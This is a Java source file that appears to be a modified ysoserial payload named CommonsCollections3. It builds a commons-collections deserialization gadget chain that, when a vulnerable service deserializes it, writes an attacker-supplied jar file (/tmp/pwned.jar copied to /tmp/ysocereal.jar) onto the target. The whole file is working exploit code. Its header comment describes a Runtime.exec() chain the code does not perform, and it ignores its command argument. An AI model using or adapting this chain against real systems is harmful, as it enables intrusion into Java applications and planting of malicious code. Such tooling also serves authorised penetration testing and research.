package ysoserial.payloads; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.io.FileUtils; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { public InvocationHandler getObject(final String command) throws Exception { final File f = new File("/tmp/ysocereal.jar"); final byte[] bFile = FileUtils.readFileToByteArray(new File("/tmp/pwned.jar")); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(FileUtils.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "writeByteArrayToFile", new Class[]{File.class, byte[].class} }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[]{f,bFile} }), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } }